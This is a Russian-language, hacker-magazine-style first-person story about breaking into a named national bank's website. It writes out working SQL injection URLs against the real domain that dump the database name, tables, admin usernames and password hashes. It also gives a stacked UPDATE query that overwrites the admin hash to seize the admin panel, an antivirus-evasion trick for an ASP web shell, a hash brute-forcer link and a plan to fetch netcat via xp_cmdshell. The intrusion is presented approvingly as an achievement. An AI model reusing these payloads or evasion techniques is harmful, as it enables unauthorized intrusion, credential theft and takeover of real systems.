Помниться, много лет назад, когда я только стал увлекаться информационной безопасностью, в одном из первых номеров журнала «Хакер», (тогда он у нас был страшным дефицитом, его передавали из рук в руки и зачитывали до дыр, особенно обзоры игр и порносайтов)
прочитал я статью о взломе банковского сервера. Тогда мне показалось это вершиной мастерства, обладать которым могут только небожители. Повзрослев и немного набравшись опыта, я решил тоже рассказать занимательную историю взлома национального банка одной страны, название которой у меня ассоциируется с нефтедолларами, парами гашиша и наложницами в гаремах. Хотя это, возможно, от того, что в детстве я слишком пересмотрел всяких восточных сказок про алладинов.
В асю стукнул виртуальный знакомый, которому я долго и не забесплатно разъяснял принципы SQL-инъекций и удаленного инклуда. Его все время интересовало, сможет ли он после моих уроков ломануть банк. Наверное, в его среде это считалось признаком крутизны. Ко мне он и обратился за уроками, как сам потом признался, только потому, что видел на void.ru мой дефейс китайского банка.
После каждого урока он начинал применять полученные знания налево и направо, а потом я подробно и долго объяснял ему, что он делал верно, а что не очень. И вот в этот раз он стучит мне и сообщает, что нашел дыру в банковском сайте. Вот только у него не получается
ее эксплуатация. И кидает мне следующий урл:
http://www.nbbonline.com/default.asp?action=category&ID=49'
я открываю и вижу ответ:
Microsoft VBScript runtime error '800a000d'
Type mismatch: 'CLng'
/envivocms/envivodisplayAPIfunctions.asp, line 43
Я начинаю ему объяснять, что это ответ, скорее всего, не MSSQL, а Microsoft Jet Database Engine, и получить чего-то путного с инъекции не получиться, потому как ее тут нет, и параллельно серфлю другие ссылки банка. Практически автоматически подставляю кавычку в другую переменную:
http://www.nbbonline.com/default.asp?action=article&id=130'
и вижу (опаньки!):
Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string ' AND articlespub.releasetoweb = 1 AND convert(datetime,convert(varchar,getdate())) BETWEEN articlespub.startdate AND articlespub.enddate'.
/envivocms/envivodisplayAPIfunctions.asp, line 1110
значительно более обнадеживающий текст. А последующий запрос просто
порадовал своей определенностью:
http://www.nbbonline.com/default.asp?action=article&id=1%20or%201=(select db_name())--
Syntax error converting the nvarchar value 'nbb' to a column of data type int.
И далее под моим руководством прошла «лабораторная работа» по выуживанию таблиц и колонок из INFORMATION_SCHEMA.TABLES и INFORMATION_ SCHEMA.COLUMNS, с которой мой ученик справился на отлично. Ее финалом стал заключительный запрос:
http://www.nbbonline.com/default.asp?action=article&id=-1+or+1=(SELECT+TOP+
1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(pword+as+nvarchar)+from+users)--
и ответ:
nbbadmin:6b8640634eb8d6a48007967e3049df
,
который портил всю малину. Ясно было, что банковский сайт так просто не сдастся, потому как хеширование было совсем незнакомое.
Оставалось найти исходники CMS и разбираться уже с ними. Одна из ошибок указывала, что на сайте стоит /envivocms/envivodisplayAPIfunctions.asp, line 1110, а последующий просмотр полей в таблице users это подтвердил:
http://www.nbbonline.com/default.asp?action=article&id=-1+or+1=(SELECT+TOP+1+cast(fullname+as+nvarchar)
%2B%27%3A%27%2Bcast(email+as+nvarchar)+from+users)--
enVivo!CMS Classic Administrat:admin@admin.com
На сайте девелоперов http://www.envivosoft.com я узнал, что CMS стоит денюжек, но давался 30-ти дневный испытательный срок. Мне больше было и не нужно. Скачав триальную версию, я стал разбираться.
Первое, на что я обратил внимание, была тестовая база db.mdb, лежащая в директории envivocms и содержащая тестовые пароль и логин (кстати,
она лежит и на сайте разработчиков http://www.envivosoft.com/envivocms/db.mdb), вот только длина хеша пароля в тестовой базе была значительно длиннее:
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Да и запись из поля fullname таблицы users тоже: enVivo!CMS Classic Administrator. У меня закралось подозрение, что вывод информации через инъекцию обрезается, тогда я попробовал не объединять запросы, а вывести пароль отдельно:
http://www.nbbonline.com/default.asp?action=article&id=-1+or+1=(SELECT+TOP+1+pword+from+users)--
в итоге я получил полный хеш:
6b8640634eb8d6a48007967e3049dfdbd6eaaec5fc83654a3dc29d9e7feb96d1
Теперь оставалось разобраться, как происходит хеширование, и попробовать подобрать пароль.
После исследования исходников enVivo! удалось выявить участок кода, ответственный за хеширование, и через пару дней знакомый кодер уже написал брутер хешей enVivo!, который ты можешь скачать по адресу
http://stavstimul.com/soft/antienvivo.zip.
Брутер работает со словарем и путем тупого перебора, но, к сожалению, банковский админ оказался не промах, и спустя неделю я решил отказаться от безрезультатного брута хеша. Надо было искать другой путь.
К этому моменту я уже проверил другие сайты с enVivo!CMS, на некоторых из них горе-админы либо вообще не удаляли дефолтовый логин/пароль, либо их пароль соответствовал логину.
Поковыряв админку изнутри, я нашел очень интересную для меня функцию, а именно редактирование asp’шных
темплейтов. Найдя в инете несколько веб-шеллов на asp и без особых проблем установив их на пару других сайтов, я уже знал, что буду делать, получив доступ к админке банка.
Но пока нужно было как-то этот доступ получить. Первое, что пришло на ум, это посмотреть
- не записывается ли хеш в куки, но тут меня ждал облом, админка работала с сессией.
Следующей идеей было посмотреть пароли других юзеров, прописанные в админке, потому как на исследованных ранее сайтах, кроме учетной записи администратора, присутствовали и пара-тройка других юзеров. К сожалению,
MS SQL не поддерживает функцию лимит, поэтому пришлось обраться к мануалам, которые подсказали, что перебор можно организовать иным способом:
http://www.nbbonline.com/default.asp?action=article&id=-1+or+1=(SELECT+TOP+1+pword+from+users+where+ID=1)--
Последовательно меняя значение ID, я выудил логины и хеши еще пары юзеров. Но брут их хешей тоже не дал результата.
И тут меня осенило - а что если попробовать сменить хеш админа с помощью команды
UPDATE:
http://www.nbbonline.com/default.asp?action=article&ID=-1; UPDATE users SET pword='8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918' WHERE
username='nbbadmin'--
И вот я уже в админке банковского сайта. Сразу отправляюсь редактировать
темплейты... и сталкиваюсь с проблемой. При добавлении кода asp-шелла файл просто удаляется. Первое, о чем подумалось, так это о том, что за мной следят, и надо мотать удочки. Вторая мысль была более здравой - антивирусный монитор! Действительно, все asp-шеллы палились большинством антивирусов.
Опять пришлось отступить, вернув хеш админа все той же командой UPDATE.
Разбросав по форумам надлежащей тематики сообщение о желании купить приватный asp-шелл, не палящийся антивирусами и безрезультатно прождав несколько дней, я опять обратился к знакомому кодеру, с которым мы стали решать проблему, как укрыть веб-шелл от антивирусов. Идею подсказал один из модераторов форума damagelab - сделать интерполяцию строк несколько по-иному ("cmd.exe /c" заменить на "cm" & "d" & ".exe " &
"/c").
Через пару дней веб-шелл был готов, и я вернулся в админку снова. Протестировав предварительно шелл у себя на сервере, я уже был готов двигаться дальше, но, как оказалось, здесь меня опять подстерегал облом. Для успешного функционирования шелла нужна была возможность создания файла либо в корне диска, либо в директории с шеллом:
Call s.Run (ss & t, 0, True)
Set o = f.OpenTextFile (t, 1, False, 0)
и, как назло, на банковском сервере такой возможности не было!
Оставался последний шанс - попробовать с помощью хранимой процедуры xp_cmdshell скачать утилиту netcat, и попробовать ее запустить. Но как оказалось, наиболее интересные для меня хранимые процедуры были отключены. Ситуация плачевная, как поет бард Тимур Шаов:
Я оглядываясь, вижу только фиги,
Я вперед гляжу, там тоже фиги. Скверно.
Имея доступ к админке банка я не мог продвинуться дальше! Но, судя по всему, и админ по ту сторону сайта не дремал, на следующий день после заливки шелла и неудачных попыток выполнения хранимых процедур, скрипт был поправлен и я с инъекцией мог идти подальше.
Вот так не очень весело закончилась для меня история со взломом банковского сайта, и хотя я не получил полный контроль над сервером, в любом случае мне удалось добыть доступ к админ-панели, что уже само по себе не мало.
